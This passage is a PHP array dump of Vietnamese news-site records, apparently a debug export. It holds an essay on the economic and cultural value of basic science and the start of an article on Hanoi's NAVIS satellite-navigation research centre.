<div>
arXiv:gr-qc/0108043v2 20 Aug2001, Physics Reports 365(2002) 251-333</div>
<div>
</div>
<div>
[5] Biến đổi đồng phôi là một biến đổi liên tục không chứa phép cắt và dán.</div>
',
'images' => '201606160312445e740f261196151a0b02c7b2fccf6ae6.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2016-06-16',
'modified' => '2025-08-18',
'status' => '1',
'view' => '75132',
'slug' => 'topo-cua-vu-tru',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '715',
'rght' => '716',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 4 => array(
'Post' => array(
'id' => '412',
'name' => 'Vai trò của khoa học cơ bản?',
'code' => null,
'alias' => 'vai-tro-cua-khoa-hoc-co-ban',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<div>
Hơn 200 năm trước, vào đầu năm 1782, nhà vật lý và triết học người Đức-Christof Lichtenberg đã viết trong nhật kí của mình: </div>
<div>
“Việc tìm ra một phương thuốc công hiệu tức thời cho những cơn đau răng có thể có giá trị chẳng kém, thậm chí còn nhiều hơn so với việc tìm ra một hành tinh mới…nhưng tôi không thể tìm thấy cách nào để bắt đầu nhật ký năm nay tốt hơn là tin tức về một hành tinh mới.”</div>
<div>
Hành tinh được đề cập ở đây chính là Sao Thiên Vương, phát hiện ra vào năm 1781. Vấn đề mà Lichtenberg ngụ ý là sự so sánh tương quan về mức độ quan trọng giữa việc tìm kiếm các giải pháp kĩ thuật cho các vấn đề cụ thể so với việc tìm tòi kiến thức cơ bản mới. Ngày nay, nhu cầu đặt ra và xem xét vấn đề ấy thậm chí còn cấp thiết hơn cả 200 năm về trước. <br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (4).jpg" style="width: 227px; height: 167px;" /></div>
<div>
</div>
<div>
<strong>1. Nghiên cứu cơ bản đối lập với nghiên cứu ứng dụng</strong></div>
<div>
<br />
Trong công nghiệp, thuật ngữ “nghiên cứu” thường dùng để chỉ những cải tiến với kĩ thuật đang tồn tại, tuy nhiên việc này với các nhà khoa học hàn lâm đơn thuần chỉ được coi là sự phát triển mới. Khác biệt trong quan niệm về thuật ngữ “nghiên cứu” có thể dẫn đến nhiều hiểu lầm. Trong bài này tôi dùng từ đó theo cách hiểu của các nhà khoa học hàn lâm.</div>
<div>
Hiểu lầm cũng xuất phát từ những giả thuyết thường gặp có tính thúc đẩy cho lợi ích mà nghiên cứu cơ bản mang lại dựa theo “mô hình tuyến tính”, trong đó nghiên cứu cơ bản kéo theo nghiên cứu ứng dụng, để rồi giúp công nghiệp phát triển và cuối cùng là sản phẩm mới. Tiến trình này đã xảy ra trong nhiều trường hợp, nhưng cũng có thể dễ dàng tìm được các trường hợp, trong đó sự tiến bộ của công nghệ lại là cái dẫn đến những tiến bộ trong nghiên cứu cơ bản, như là George Porter (nhận giải thưởng Nobel Hóa học) – người đã chỉ ra rằng “nhiệt động lực học mắc nợ động cơ hơi nước hơn cả động cơ hơi nước mắc nợ khoa học.”</div>
<div>
</div>
<div>
Đáng tiếc là, những trường hợp như vậy khiến một số người ủng hộ một mô hình phản tuyến tính. Ví dụ như Terence Kealey vừa mới viết một cuốn sách1 biện luận rằng sự phát triển kinh tế không chịu ảnh hưởng bất cứ thứ gì từ nghiên cứu cơ bản - và vì vậy nên không cần phải nhận được sự hỗ trợ từ Chính phủ. Ông ta chỉ ra một cách xác thực rằng sự phát triển của năng lượng hơi nước, kĩ thuật luyện kim và nhà máy dệt, các yếu tố nền tảng thúc đẩy sự khởi đầu cuộc cách mạng công nghiệp ở Anh, đều là kết quả của tri thức khoa học và các nguyên tắc cơ khí từ thời trước thế kỷ 17, và chẳng hề chịu ảnh hưởng từ bất kì điều gì đến cuộc cách mạng khoa học thế kỉ 17 (cơ học Newton, tích phân, v.v ). Điều này đúng nhưng nó không đúng với nhiều bước phát triển của công nghiệp sau này, mà tôi hi vọng là những ví dụ tôi đưa ra sau đây sẽ chứng minh được.</div>
<div>
Vậy nên, mối liên hệ giữa khoa học và công nghệ không phải là tuyến tính mà cũng không phải là phản tuyến tính, mà thực tế là rất phi tuyến tính, và người ta đã từng khẳng định rằng2: “nghiên cứu lịch sử những mô hình thành công đã nhiều lần chỉ ra mật độ các tác động tương hỗ giữa các ngành khoa học cơ bản (vốn ban đầu không liên quan tới nhau), công nghệ, và sản phẩm, tấp nập tới mức không thể tách rời và phân biệt, chúng là tất cả các thành phần đan quện chặt chẽ trong cùng một thực thể”. Tuy vậy có thể khẳng định một sự phân biệt trên diện rộng giữa khoa học (tri thức) và công nghệ (cái được ứng dụng từ tri thức) và giữa các hình thức khác nhau của khoa học.</div>
<div>
Tôi không thích thuật ngữ khoa học cơ bản và khoa học ứng dụng: xét cho cùng ai có thể nói trước cái gì là sẽ ứng dụng được? Tuy nhiên, những thuật ngữ này có thể hữu dụng nếu chúng được định nghĩa dựa trên động cơ thúc đẩy:</div>
<div>
Khoa học cơ bản – được thúc đẩy bằng sự ham hiểu biết. </div>
<div>
Khoa học ứng dụng – dành để trả lời cho những câu hỏi cụ thể.</div>
<div>
Từ định nghĩa này, về sau tôi sẽ biện luận rằng Chính phủ có một trách nhiệm đặc biệt để hỗ trợ cho nghiên cứu cơ bản, trong khi việc đầu tư nghiên cứu ứng dụng nhìn chung có thể nhường lại cho các doanh nghiệp. </div>
<div>
Tất nhiên, sự phân biệt đó luôn luôn không rõ ràng và thuật ngữ “nghiên cứu chiến lược” thỉnh thoảng được sử dụng để nói về khoa học như một phạm trù trung gian – cái tạo ra cơ hội cao trong việc tạo ra ứng dụng, cho dù có thể nó được thực hiện thuần túy chỉ để thỏa mãn sự tò mò và qua đó dẫn đến những hiểu biết nền tảng mới. Việc nghiên cứu những đặc tính của chất bán dẫn hai chiều là một ví dụ. </div>
<div>
</div>
<div>
<strong>2. Lợi ích của khoa học cơ bản</strong></div>
<div>
<br />
Có thể phân biệt ra bốn nhóm lợi ích, được đề cập lần lượt như sau:</div>
<div>
Những đóng góp cho văn hóa.</div>
<div>
Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn. </div>
<div>
Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp. </div>
<div>
Giáo dục.</div>
<div>
2.1. Những đóng góp cho văn hóa.</div>
<div>
Bob Wilson (giám đốc đầu tiên của Fermilab, một phòng thí nghiệm lớn gần Chicago dành cho vật lý hạt/máy gia tốc) khi được một Ủy ban Quốc hội hỏi rằng “Phòng thí nghiệm của anh sẽ đóng góp gì để bảo vệ nước Mỹ?”. Câu trả lời là: “Không gì cả, nhưng nó sẽ làm cho nước Mỹ đáng được bảo vệ”. Tuy nhiên, nhìn chung các nhà khoa học thường e ngại trong những cuộc tranh luận về sự đóng góp của họ đối với văn hóa, xã hội. Hiện tượng này thực ra có từ rất cổ xưa như trong đoạn đối thoại dưới đây trong cuốn Cộng hòa của Plato:</div>
<div>
Socrates: Chúng ta có nên coi thiên văn học là một chủ đề đáng nghiên cứu? </div>
<div>
Glaucon: Tôi cho là nên, hiểu biết về mùa màng, về tháng và năm, sẽ hữu ích cho mục đích quân sự, cũng như trong nông nghiệp và hàng hải.</div>
<div>
Socrates: Tôi thấy thú vị khi thấy ông e ngại như thế nào, vì sợ rằng mọi người sẽ kết tội ông đã đề nghị nghiên cứu những thứ không có ích lợi gì.</div>
<div>
Tôi cho rằng các nhà khoa học phải đưa ra các luận điểm có sức thuyết phục về sự đóng góp của khoa học trong thúc đẩy văn hóa. Cụ thể như những kiến thức về hệ Mặt trời, mã di truyền, Mặt trời làm việc như thế nào, tại sao bầu trời lại có màu xanh và sự mở rộng của Vũ trụ làm cách nhìn của chúng ta thay đổi, cuộc sống của chúng ta phong phú lên. Chúng ta cần làm cho mọi người thấy việc phổ cập hóa vật lý hạt cơ bản là có ích không chỉ về kinh tế mà còn về văn hóa, từ đó thuyết phục mọi người rằng nên tiếp tục khám phá biên giới này của tri thức. </div>
<div>
2.2 Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn.</div>
<div>
Không quá khó để chỉ ra rằng chi phí cho khoa học cơ bản thường dẫn đến những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn, có khả năng sinh lợi cao và có thể dễ dàng bồi hoàn chi phí đầu tư. Casimir - nhà vật lý lý thuyết nổi tiếng, cựu Giám đốc Nghiên cứu của Philips đã đưa ra một danh sách các ví dụ tuyệt vời3:</div>
<div>
“Tôi đã được nghe nói rằng vai trò của nghiên cứu hàn lâm trong các cải tiến kỹ thuật là rất ít. Đây là luận điểm ngớ ngẩn nhất trong những điều vô nghĩa nhất mà tôi được biết. Chắc chắn một ai đó suy đoán vẩn vơ rằng liệu tranzito có phải do những người không được đào tạo và không đóng góp gì cho cơ học sóng hay thuyết lượng tử chất rắn tìm thấy. Sự thật là những người phát hiện ra tranzito đều nghiên cứu sâu và có nhiều đóng góp tới thuyết lượng tử chất rắn.</div>
<div>
Một ai đó có thể hỏi liệu rằng các mạch cơ bản trong máy tính có phải được tìm thấy bởi những người chủ tâm muốn xây dựng máy tính. Đúng là như vậy, chúng đã được phát kiến vào những năm 30 bởi những nhà vật lý muốn đếm các hạt cơ bản bởi vì họ quan tâm đến vật lý hạt nhân.</div>
<div>
Một ai đó có thể hỏi rằng liệu năng lượng hạt nhân được khám phá bởi vì có những người muốn một nguồn năng lượng mới, hay sự thôi thúc có năng lượng mới đã dẫn đến việc tìm ra hạt nhân. Có thể - nhưng nó đã không xảy ra như vậy.</div>
<div>
Một ai đó hỏi rằng liệu ngành công nghiệp điện tử có thể tồn tại mà không có những khám phá về electron của những người như Thomson và H.A. Lorentz. Một lần nữa, nó đã không xảy ra như vậy. </div>
<div>
Tôi nghĩ thật hầu như không có một ví dụ nào của những cải tiến trong thế kỷ 20 mà không mắc nợ khoa học cơ bản.”</div>
<div>
Những ví dụ của Casimir có một số đặc điểm chung :</div>
<div>
Những ứng dụng của kiến thức mới có lợi nhuận cao.</div>
<div>
Những ứng dụng hoàn toàn không được nhìn thấy khi các phát hiện nền tảng được khám phá.</div>
<div>
Có một khoảng thời gian dài giữa những khám phá nền tảng và những ứng dụng.</div>
<div>
Nhìn chung các nhà phát minh trong khoa học cơ bản không trở nên giàu có.</div>
<div>
Đã có một số cố gắng nhằm lượng hóa lợi ích to lớn từ các nghiên cứu nền tảng. Tôi sẽ đề cập 2 ví dụ:</div>
<div>
1. Một nghiên cứu gần đây của Tổ chức Khoa học Quốc gia Hoa Kỳ cho thấy rằng 73% các bài báo trích dẫn trong các bằng sáng chế công nghiệp là các nghiên cứu được công bố một cách công cộng, mà phần đông là những bài báo nghiên cứu cơ bản được thực hiện bởi những trường đại học hàng đầu và các phòng thí nghiệm của Chính phủ. 2. Một nghiên cứu có nhiều trích dẫn bởi Mansfield5 vào năm 1991 đã chỉ ra rằng đầu tư của cộng đồng vào khoa học cơ bản có tỉ lệ lợi nhuận là 28%. Con số của Mansfield được lấy ra từ 75 hãng lớn nhất ở Mỹ trong 7 ngành công nghiệp (xử lý thông tin, thiết bị điện, hóa học, dụng cụ, dược phẩm, kim loại và dầu mỏ). Từ ban điều hành nghiên cứu và phát triển của các công ty, Mansfield đã thu thập được thông tin về những sản phẩm mới, sản phẩm được thương mại hóa trong giai đoạn 1975- 1985, mà theo các ban điều hành cho biết thì các sản phẩm này đã không thể ra đời (hoặc chậm hơn rất nhiều) nếu không có các nghiên cứu hàn lâm được thực hiện trong khoảng 15 năm trước khi sáng kiến đầu tiên được công bố. </div>
<div>
2.3. Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp</div>
<div>
Với khái niệm những phát hiện ngoài dự kiến, tôi muốn nói về các thiết bị và kĩ thuật được phát triển để tiến hành các nghiên cưu cơ bản nhưng sau này người ta nhận ra cả những lợi ích khác nữa. Tôi đưa ra vài ví dụ từ vật lý hạt cơ bản (nhiều trong chúng có sự đóng góp từ vật lý hạt nhân):</div>
<div>
Máy gia tốc ( ngày nay có khoảng 10000 máy gia tốc trên thế giới, chỉ có 100 cái trong số đó sử dụng cho mục đích nghiên cứu ban đầu trong vật lý hạt nhân và vật lý hạt cơ bản).</div>
<div>
- Ngành công nghiệp bán dẫn. </div>
<div>
- Thức ăn tiệt trùng, y tế, rác thải.</div>
<div>
- Xử lý bức xạ. </div>
<div>
- Liệu pháp điều trị ung thư. </div>
<div>
- Tiêu hủy rác thải hạt nhân. </div>
<div>
- Thí nghiệm không phá mẫu. </div>
<div>
- Sản xuất năng lượng (máy khuếch đại năng lượng)</div>
<div>
- Nguồn cho bức xạ synchrotron (sinh học, vật lý chất ngưng tụ…)</div>
<div>
- Nguồn cho của Notron ( sinh học, vật lý chất ngưng tụ…)</div>
<div>
Máy dò hạt.</div>
<div>
- Máy dò tinh thể</div>
<div>
(Tinh thể phát triển cho những thí nghiệm ở máy va đập LEP tại CERN mà bây giờ được dùng cho ảnh y tế ở hàng trăm bệnh viện, những tinh thể sẽ thay thế chúng với những đặc tính ưu việt hơn hiện thời vẫn đang được phát triển cho máy LHC tại CERN)</div>
<div>
- Ảnh y tế</div>
<div>
- An ninh</div>
<div>
- Thí nghiệm không phá mẫu</div>
<div>
- Phục vụ nghiên cứu</div>
<div>
- Ổ tỉ lệ đa đường dây</div>
<div>
- Kiểm tra container</div>
<div>
- Phục vụ nghiên cứu</div>
<div>
- Máy dò chất bán dẫn</div>
<div>
- Rất nhiều ứng dụng trong giai đoạn phát triển.</div>
<div>
Khoa học thông tin</div>
<div>
+WWW( Một nhóm ở Anh mới đây đã nhận định rằng Web tạo ra 5% doanh thu của các công ty lớn và sẽ tăng lên đến 20% vào cuối thập niên)</div>
<div>
+ Chương trình mô phỏng</div>
<div>
+ Phát hiện lỗi</div>
<div>
+ Hệ điều hành</div>
<div>
+ Kích thích tính toán song song.</div>
<div>
- Chất siêu dẫn</div>
<div>
Ảnh cộng hưởng từ hạt nhân</div>
<div>
Những ứng dụng khác ( kỹ thuật làm lạnh, chân không, kĩ thuật điện, trắc địa…)</div>
<div>
Có lúc dường như mọi người nghĩ rằng có một danh sách dài các phát kiến từ vật lý hạt cơ bản đủ để chứng minh chi phí cho vật lý cơ bản. Song chứng minh được không phải điều dễ dàng. Tuy nhiên, chắc chắn có thể khẳng định rằng giá trị của những ứng dụng ngoài dự kiến phải được tính tới khi cân nhắc các khoản chi phí cho khoa học cơ bản, và có lẽ đúng là những nhu cầu đặc biệt của ngành vật lý hạt cơ bản, đòi hỏi thiết bị vô cùng tối tân, đã khiến nó sản xuất ra nhiều ứng dụng ngoài dự kiến. Trong thực tế, nhìn chung các nhà kinh tế học ngày càng nhận ra tầm quan trọng của các ứng dụng ngoài dự kiến, đặc biệt là dưới dạng các công cụ được chế ra nhằm phục vụ các nghiên cứu nền tảng. Đa số các thiết bị trong một nhà máy điện tử hiện đại vốn được sinh ra từ những phòng thí nghiệm trong các trường đại học, và có rất nhiều ví dụ tương tự với các công cụ vốn sinh ra để phục vụ trong nghiên cứu vật lý, hóa học, dược học, y tế.</div>
<div>
Nhìn chung các nhà khoa học cơ bản đều ưu tiên công việc cho phục vụ công bố và đưa ra công khai kết quả mà họ thực hiện, trong khi các nhà khoa học ứng dụng làm việc trong ngành công nghiệp lại thúc đẩy bởi mong muốn bảo vệ, giấu kín và lấy bằng sáng chế. Như vậy có thể xảy ra nghịch lý là có nhiều ứng dụng ngoài dự kiến từ các nghiên cứu cơ bản hơn là từ nghiên cứu ứng dụng. Thậm chí trừu tượng và bí hiểm như thuyết tương đối rộng (lý thuyết của Einstein về lực hấp dẫn) cũng có tạo ra một ứng dụng ngoài dự kiến. Đó là phép lạ phục vụ việc định vị được biết đến với tên gọi là hệ thống định vị toàn cầu (GPS), nó có thể ngay lập tức tự động chỉ cho chúng ta biết vị trí và độ cao chính xác trong phạm vi 10 mét ở tất cả mọi nơi trên Trái đất. Hơn 160 nhà sản xuất khắp thế giới đang phát triển các hệ thống dựa trên công nghệ GPS trong một thị trường nhiều tỉ USD. Các hệ thống này làm việc bằng cách so sánh tín hiệu thời gian nhận được từ các vệ tinh khác nhau. Đồng hồ trong các vệ tinh là những chiếc đồng hồ nguyên tử, vốn xưa kia được tạo ra chỉ để phục vụ nghiên cứu về thuyết tương đối rộng, cụ thể là để kiểm chứng dự đoán của Einstein rằng các đồng hồ sẽ chạy khác nhau trong các trường trọng lực khác nhau. </div>
<div>
2.4. Giáo dục</div>
<div>
Làm việc nghiên cứu khoa học cơ bản là một quá trình đào tạo tuyệt vời cho những người muốn sau này làm nghiên cứu ứng dụng hoặc phát triển trong công nghiệp. Hơn nữa, điều này còn tạo ra một mạng lưới liên kết giữa các nhà nghiên cứu trong các ngành công nghiệp khác nhau và trong giới hàn lâm, vốn sẽ không thể tồn tại nếu tất cả sự đào tạo diễn ra bên trong các ngành công nghiệp. Giá trị của mạng lưới ấy ngày càng được các nhà kinh tế học thừa nhận như một lợi ích xã hội đầu tư cho nghiên cứu cơ bản. </div>
<div>
Cụ thể như với công việc làm thí nghiệm vật lý hạt cơ bản, người ta đánh giá rằng có khoảng 300 bằng tiến sĩ được trao trên toàn thế giới mỗi năm dựa vào công việc làm ở CERN (tính tổng trong toàn bộ lĩnh vực thì có lẽ gấp 2 lần con số này), và ít nhất có một nửa số tiến sĩ đó cuối cùng sẽ làm việc trong công nghiệp hay thương mại, nơi kinh nghiệm của họ đã làm trong các dự án công nghệ cao của các nhóm đa quốc gia tại CERN sẽ trở nên vô cùng cần thiết.</div>
<div>
Thêm vào đó, có căn cứ cho thấy khoa học cơ bản (ví dụ như trong vật lý, cụ thể là thiên văn học và vật lý hạt cơ bản, với những từ rất quen tai như lỗ đen và hạt quark) đóng một vai trò quan trọng trong việc thu hút sự hứng thú và quan tâm của thế hệ trẻ đến khoa học và công nghệ. Điều này cực kỳ quan trọng mặc dù tác dụng sẽ rất khó được lượng hóa. </div>
<div>
--------------------------</div>
<div>
1. The Economic Laws of Scientific Research, T. Kealey, Macmillan Press, London, 1996. </div>
<div>
2. G. Holton, H. Chang và E. Jarkowitz, American Scientists 84, 364, 1996. </div>
<div>
3. Trích dẫn trang 198 cuốn “The Life of Sir J.J. Thomson”, Lord Rayleigh, Cambridge University Press, 1942. </div>
<div>
H.G.B. Casimir, Contribution to Symposium on Technology and World Trade, US Department of Commerce, 16 November 1966.</div>
<div>
4. Academic Research and Industrial Innovation, E. Mansfield, Research Policy 20, 1, 1991. </div>
<div>
</div>
<div>
THANH LOAN (lược thuật)</div>
',
'images' => '20160616031004d7c6beba6c2283f4ef1e8cc43783f320.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2016-06-16',
'modified' => '2025-08-18',
'status' => '1',
'view' => '64718',
'slug' => 'vai-tro-cua-khoa-hoc-co-ban',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '713',
'rght' => '714',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 5 => array(
'Post' => array(
'id' => '411',
'name' => 'Áp lực từ hợp tác quốc tế',
'code' => null,
'alias' => 'ap-luc-tu-hop-tac-quoc-te',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<div>
Là một đơn vị nghiên cứu công nghệ định vị sử dụng vệ tinh tại Đông Nam Á, một lĩnh vực có ý nghĩa quan trọng với mọi mặt của đời sống, Trung tâm Quốc tế Nghiên cứu Phát triển Định vị sử dụng vệ tinh (NAVIS) phải tự tìm hướng đi tiếp theo cho mình để phát triển.</div>
<div>
<br />
<strong><img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (3).jpg" style="width: 250px; height: 188px;" /><br />
<br />
“Phát triển đội ngũ, nhưng phải ‘tinh’”</strong></div>
<div>
</div>
<div>
Vào năm 2008, Liên minh Châu Âu thông qua Chương trình khung thứ 7 về nghiên cứu và phát triển công nghệ (FP7) đã tài trợ Dự án SEAGALvới sự tham gia của 5 nước đối tác Châu Âu và Châu Á. Mục tiêu chính của Dự án là thiết lập một trung tâm quốc tế chuyên về công nghệ định vị sử dụng vệ tinh (Global Navigation Satellite System – GNSS) đặt tại Trường Đại học Bách Khoa Hà Nội (ĐHBKHN) với các hoạt động đa dạng từ nghiên cứu phát triển, đến quảng bá, đào tạo, chuyển giao công nghệ, tư vấn chính sách liên quan đến công nghệ GNSS cho các nước trong khu vực Đông Nam Á. Kết quả của dự án là sự ra đời của Trung tâm Quốc tế NC&PT Công nghệ định vị sử dụng vệ tinh (NAVIS) vào tháng 10/2010. Trung tâm hiện tại có sự tham gia trực tiếp của các đối tác Việt Nam, và Italy thông qua mô hình đồng giám đốc được thực hiện từ tháng 2/2012.</div>
<div>
</div>
<div>
Từ ngày thành lập, NAVIS đã và đang tham gia chủ trì và thực hiện hàng chục đề tài, dự án nghiên cứu khoa học (NCKH) với các đối tác Châu Âu, Úc và Nhật Bản tập trung vào các lĩnh vực: (i) định vị đa hệ thống GNSS; (ii) phương pháp và hạ tầng định vị chính xác (mm/cm); (iii) giám sát môi trường sử dụng GNSS; (iv) các dịch vụ hướng vị trí; và (v) đảm bảo an ninh trong định vị (chống phá sóng, và giả mạo tín hiệu). Trong đó, nổi bật nhất là Dự án FP7 Growing NAVIS, do EU tài trợ, với sự tham gia của 10 đối tác quốc tế từ Châu Âu, Châu Á và Châu Đại Dương, với nhiều hoạt động trên tất cả các lĩnh vực của Trung tâm, nhằm mục đích phát triển NAVIS thực sự trở thành một trung tâm hàng đầu về công nghệ GNSS tại khu vực Đông Nam Á.</div>
<div>
</div>
<div>
“Tại thời điểm hiện tại, chúng tôi coi hợp tác quốc tế, cũng như triển khai các đề tài, dự án nghiên cứu khoa học các cấp là trọng tâm, tuy nhiên, để phát triển bền vững, chúng tôi phải sống “được” với các sản phẩm nghiên cứu khoa học của mình. Đó vừa là sự quyết tâm, vừa là trách nhiệm của chúng tôi với sự đầu tư của xã hội! Không còn cách nào khác!!!”, TS. Tạ Hải Tùng nói.</div>
<div>
NAVIS đã và đang chứng tỏ được vai trò quốc tế của mình trong khu vực thông qua ba năm liền tổ chức nhiều hội thảo, hội nghị, và trường hè quốc tế hàng năm về công nghệ GNSS: NAVIS phối hợp với Diễn đàn định vị đa hệ thống châu Á (Multi-GNSS Asia), Uỷ ban quốc tế của LHQ về GNSS(ICG)… tổ chức Hội nghị cấp vùng Châu Á và Châu Đại dương về công nghệ GNSS (AOR), trong đó, hội nghị AOR-2013 đã được tổ chức thành công tại ĐHBK HN với sự tham gia của gần 200 khách quốc tế đến từ 17 quốc gia và vùng lãnh thổ.</div>
<div>
</div>
<div>
NAVIS cũng trở thành địa chỉ hợp tác về GNSS đáng tin cậy của các tổ chức quốc tế về hàng không vũ trụ trên thế giới, qua việc đang vận hành 2 hệ thống trạm giám sát chất lượng tín hiệu định vị GNSS nằm trong mạng lưới toàn cầu của Cơ quan NC&PT hàng không vũ trụ Nhật Bản (JAXA), Cơ quan Vũ trụ Châu Âu (ESA), cũng như hợp tác chặt chẽ với Trung tâm nghiên cứu hỗn hợp trực thuộc Uỷ ban Châu Âu (EC) trong nghiên cứu tác động của tầng điện ly tại khu vực cận xích đạo lên chất lượng dịch vụ định vị.</div>
<div>
</div>
<div>
Việc hợp tác quốc tế, nhất là trong triển khai các dự án, đề tài NCKH với các đối tác hàng đầu trong lĩnh vực, tạo ra sức ép lớn với NAVIS trong việc thu hút, và phát triển đội ngũ nghiên cứu trình độ cao trong một lĩnh vực công nghệ cao, đầy mới mẻ không chỉ với Việt Nam mà còn trên thế giới. TS. Tạ Hải Tùng – Giám đốc Trung tâm chia sẻ: “Khi mới thành lập, Trung tâm chỉ có duy nhất 2 người được đào tạo chuyên sâu trong lĩnh vực. Làm thế nào để phát triển đội ngũ, mà phải “tinh” với kỹ năng làm việc quốc tế, chứ không chạy theo số lượng, trong bối cảnh không có biên chế nghiên cứu màphải tự chủ về nguồn thu là câu hỏi đau đáu với ban Giám đốc Trung tâm lúc bấy giờ”. Với sự ủng hộ mạnh mẽ của Ban Giám hiệu nhà Trường trong việc cung cấp cơ chế mở, cũng như hỗ trợ hết mình cho hợp tác quốc tế phát triển Trung tâm. NAVIS đã dần dần thu hút được các nhà khoa học trẻ trong trường, những người “bị” thuyết phục bởi kế hoạch và tiềm năng dài hạn của NAVIS để chấp nhận chuyển đổi hướng nghiên cứu theo định hướng của Trung tâm. Tuy nhiên, những người “dũng cảm” như thế không nhiều, vì vậy, NAVIS phải tự xây dựng đội ngũ thông qua đào tạo và giữ lại công tác các sinh viên xuất sắc của Trường ĐHBK Hà Nội và gửi hàng chục sinh viên theo các chương trình thực tập ngắn hạn, Thạc sỹ và Tiến sỹ trong chuyên ngành GNSS tại Châu Âu và Úc. Nhiều người trong số họ đã trở về, đóng góp lớn vào sự thành công bước đầu của Trung tâm. Và thực tế này lại đặt Trung tâm dưới một sức ép mới, làm sao để giữ những con người như vậy.</div>
<div>
</div>
<div>
<strong>“Đi bằng hai chân”</strong></div>
<div>
</div>
<div>
Với tầm quan trọng ngày càng gia tăng của định vị sử dụng vệ tinh trong mọi lĩnh vực của đời sống, từ dẫn đường, theo dõi đối tượng; đến nông nghiệp chính xác, giám sát môi trường, đồng bộ giao dịch tài chính, ngân hàng, viễn thông, năng lượng; cũng như những ứng dụng thiết yếu trong an ninh quốc phòng;nhiều nước trên thế giới đã và đang tự phát triển hệ thống vệ tinh định vị của riêng mình như Galileo (Châu Âu), GLONASS (Nga), Beidou (Trung Quốc), QZSS (Nhật Bản), IRNSS (Ấn Độ)…</div>
<div>
</div>
<div>
Việt Nam chúng ta hiện chưa có hệ thống vệ tinh định vị của riêng mình, và việc sử dụng dịch vụ hoàn toàn dựa vào các hệ thống của nước ngoài. Vì vậy, môi trường định vị đa hệ thống với nhiều lựa chọn về công nghệ và dịch vụ mới có ý nghĩa vô cùng quan trọng đối với Việt Nam trong việc giảm bớt sự phụ thuộc vào một hệ thống riêng lẻ, nâng cao độ chính xác, và đặc biệt là tính sẵn sàng và độ tinh cậy của định vị sử dụng vệ tinh.</div>
<div>
</div>
<div>
Nhận thức được vấn đề đó, NAVIS đã nghiên cứu và chế tạo thành công bộ thu định vị đa hệ thống NAVISOFT. NAVISOFT có thể hoạt động được với tất cả các hệ thống GNSS hiện tại (bao gồm: GPS/GLONASS/Galileo/Beidou), cũng như hệ thống cấp khu vực QZSS của Nhật Bản. Sản phẩm này đặc biệt có ý nghĩa đặc biệt quan trọng trong các lĩnh vực đặc thù, nơi không phải độ chính xác mà độ tin cậy của kết quả định vị mới được quan tâm nhiều nhất. Với sản phẩm này, NAVIS đã được Cơ quan Vũ trụ Châu Âu (ESA) chứng nhận là một trong 50 đơn vị đầu tiên trên thế giới (một trong ba đơn vị tại Châu Á, cùng với Nhật Bản và Trung Quốc) đã sử dụng thành công dịch vụ định vị sử dụng vệ tinh của Galileo.</div>
<div>
</div>
<div>
